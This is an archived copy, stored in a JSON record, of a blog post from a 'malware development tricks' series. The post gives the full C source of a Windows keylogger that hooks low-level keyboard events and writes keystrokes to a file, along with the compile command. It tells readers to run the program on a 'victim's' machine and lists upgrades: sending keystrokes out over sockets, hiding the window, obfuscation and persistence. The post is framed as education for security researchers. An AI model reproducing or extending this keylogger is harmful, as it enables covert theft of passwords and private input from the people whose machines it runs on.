{
	"id": "09bbd364-e78e-4596-97da-543c59808f7c",
	"created_at": "2026-04-10T03:20:54.002935Z",
	"updated_at": "2026-04-10T13:12:51.840516Z",
	"deleted_at": null,
	"sha1_hash": "3f3aed9ad668eda74e5140d895f2b5d6b5d11271",
	"title": "Malware development trick 46: simple Windows keylogger. Simple C example.",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 423381,
	"plain_text": "Malware development trick 46: simple Windows keylogger. Simple\r\nC example.\r\nBy cocomelonc\r\nPublished: 2025-05-01 · Archived: 2026-04-10 03:08:58 UTC\r\n3 minute read\r\n﷽\r\nHello, cybersecurity enthusiasts and white hackers!\r\nThis post is very simple but not less important. One of my students ask about another simple trick in malware\r\ndevelopment: keylogging logic.\r\nTo my surprise, I haven’t written an article on this topic here. Sometimes you just want something simple: press a\r\nkey, log it to a file, move on. Let’s break it down.\r\npractical examplePermalink\r\nI will show a simple proof-of-concept (PoC) in pure C. This tiny C keylogger uses the WH_KEYBOARD_LL hook to\r\nmonitor keystrokes and write them to a local text file. To intercept keystrokes globally, we use:\r\nhook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, 0);\r\nhttps://cocomelonc.github.io/malware/2025/05/01/malware-tricks-46.html\r\nPage 1 of 7\n\nThis sets a low-level keyboard hook. Our callback ( KeyboardProc ) is invoked every time a key is pressed.\r\nIf VK_ESCAPE is pressed, we unhook and exit:\r\nif (p-\u003evkCode == VK_ESCAPE) {\r\n runThread = false;\r\n UnhookWindowsHookEx(hook);\r\n PostQuitMessage(0);\r\n}\r\nWe need logic to save keystrokes to a file:\r\n// open file in append mode and save key\r\nFILE* fp = fopen(\"keylog.txt\", \"a+\");\r\nif (fp) {\r\n DWORD key = p-\u003evkCode;\r\n fprintf(fp, \"key pressed: %c\\n\", MapVirtualKeyA(key, MAPVK_VK_TO_CHAR));\r\n fclose(fp);\r\n}\r\nNo socket exfiltration, just writing to disk. Old-school.\r\nThe standard message processing cycle usually looks like this:\r\nwhile (runThread \u0026\u0026 GetMessage(\u0026msg, NULL, 0, 0)) {\r\n TranslateMessage(\u0026msg);\r\n DispatchMessage(\u0026msg);\r\n}\r\nKeyboard events are taken from the queue using the GetMessage function and redirected to the\r\nDispatchMessage procedure, which handles messages for the window that is currently focused, using the\r\nDispatchMessage function. The input focus is a property that can be given to a window made by Windows or a\r\nprogram. As long as the window is focused on input, all keyboard messages from the system queue will get to the\r\nright function in this window. An app can move the focus from one input window to another, like when you use\r\nAlt+Tab to switch to a different app:\r\nBOOL GetMessage(\r\n [out] LPMSG lpMsg,\r\n [in, optional] HWND hWnd,\r\n [in] UINT wMsgFilterMin,\r\n [in] UINT wMsgFilterMax\r\n);\r\nLRESULT DispatchMessage(\r\nhttps://cocomelonc.github.io/malware/2025/05/01/malware-tricks-46.html\r\nPage 2 of 7\n\n[in] const MSG *lpMsg\r\n);\r\nUsually, the TranslateMessage function is called before the DispatchMessage function. This function takes the\r\nWM_KEYDOWN , WM_KEYUP , WM_SYSKEYDOWN , and WM_SYSKEYUP messages as a starting point to make the\r\n“symbolic” messages WM_CHAR , WM_SYSCHAR , WM_DEADCHAR , and WM_SYSDEADCHAR . It is important to note that\r\nthe original keyboard messages are not removed from this queue; instead, these “symbolic” messages are added to\r\nit:\r\nBOOL TranslateMessage(\r\n [in] const MSG *lpMsg\r\n);\r\nFinal full source code of our keylogger looks like this ( hack.c ):\r\n/*\r\n * hack.c\r\n * save keystrokes to file\r\n * author @cocomelonc\r\n * https://cocomelonc.github.io/malware/2025/05/01/malware-tricks-45.html\r\n */\r\n#include \u003cwindows.h\u003e\r\n#include \u003cstdio.h\u003e\r\n#include \u003cstdbool.h\u003e\r\nHHOOK hook;\r\nLPMSG msg;\r\nbool runThread = true;\r\nLRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam) {\r\n if (code == HC_ACTION \u0026\u0026 wParam == WM_KEYDOWN) {\r\n KBDLLHOOKSTRUCT* p = (KBDLLHOOKSTRUCT*)lParam;\r\n if (p-\u003evkCode == VK_ESCAPE) {\r\n runThread = false;\r\n UnhookWindowsHookEx(hook);\r\n printf(\"hooking disabled by esc key. meow =^..^=\\n\");\r\n PostQuitMessage(0);\r\n return 0;\r\n }\r\n // open file in append mode\r\n FILE* fp = fopen(\"keylog.txt\", \"a+\");\r\n if (fp) {\r\n DWORD key = p-\u003evkCode;\r\nhttps://cocomelonc.github.io/malware/2025/05/01/malware-tricks-46.html\r\nPage 3 of 7\n\nfprintf(fp, \"key pressed: %c\\n\", MapVirtualKeyA(key, MAPVK_VK_TO_CHAR));\r\n fclose(fp);\r\n }\r\n }\r\n return CallNextHookEx(hook, code, wParam, lParam);\r\n}\r\n// classic keylogger logic\r\nint main(int argc, char* argv[]) {\r\n MSG msg;\r\n // install the hook - using the WH_KEYBOARD_LL action\r\n HHOOK hook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, 0);\r\n if (hook == NULL) {\r\n printf(\"failed to install hook :(\\n\");\r\n return 1;\r\n }\r\n printf(\"hook installed. meow =^..^= press esc to stop :)\\n\");\r\n // message loop\r\n while (runThread \u0026\u0026 GetMessage(\u0026msg, NULL, 0, 0)) {\r\n TranslateMessage(\u0026msg);\r\n DispatchMessage(\u0026msg);\r\n }\r\n return 0;\r\n}\r\ndemoPermalink\r\nLet’s go to see everything in action. Compile hack.c :\r\nx86_64-w64-mingw32-g++ hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-section\r\nhttps://cocomelonc.github.io/malware/2025/05/01/malware-tricks-46.html\r\nPage 4 of 7\n\nRun hack.exe on the victim’s Windows machine ( Windows 10 x64 22H2 in my case), type something, then\r\npress ESC . Check keylog.txt in the same directory:\r\nhttps://cocomelonc.github.io/malware/2025/05/01/malware-tricks-46.html\r\nPage 5 of 7\n\nAs you can see, everything is worked perfectly! =^..^=\r\nThis is just the base. From here you could:\r\nObfuscate filenames\r\nUse sockets to send keystrokes remotely\r\nHide the console window\r\nMake it persistent (e.g. registry or task scheduler)\r\nStay tuned for more malware tricks! =^..^=\r\nSeveral APT groups and cybercriminal organizations like APT37, Sandworm and malware like MyDoom,\r\nROKRAT or NOKKI have employed this trick.\r\nI hope this post is useful for malware researchers, C/C++ programmers, spreads awareness to the blue teamers of\r\nthis interesting classic keylogging technique, and adds a weapon to the red teamers arsenal.\r\nGetMessage\r\nDispatchMessage\r\nTranslateMessage\r\nAPT37\r\nSandworm\r\nMyDoom\r\nROKRAT\r\nhttps://cocomelonc.github.io/malware/2025/05/01/malware-tricks-46.html\r\nPage 6 of 7\n\nNOKKI\r\nsource code in github\r\nThis is a practical case for educational purposes only.\r\nThanks for your time happy hacking and good bye!\r\nPS. All drawings and screenshots are mine\r\nSource: https://cocomelonc.github.io/malware/2025/05/01/malware-tricks-46.html\r\nhttps://cocomelonc.github.io/malware/2025/05/01/malware-tricks-46.html\r\nPage 7 of 7",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://cocomelonc.github.io/malware/2025/05/01/malware-tricks-46.html"
	],
	"report_names": [
		"malware-tricks-46.html"
	],
	"threat_actors": [],
	"ts_created_at": 1775791254,
	"ts_updated_at": 1775826771,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/3f3aed9ad668eda74e5140d895f2b5d6b5d11271.pdf",
		"text": "https://archive.orkl.eu/3f3aed9ad668eda74e5140d895f2b5d6b5d11271.txt",
		"img": "https://archive.orkl.eu/3f3aed9ad668eda74e5140d895f2b5d6b5d11271.jpg"
	}
}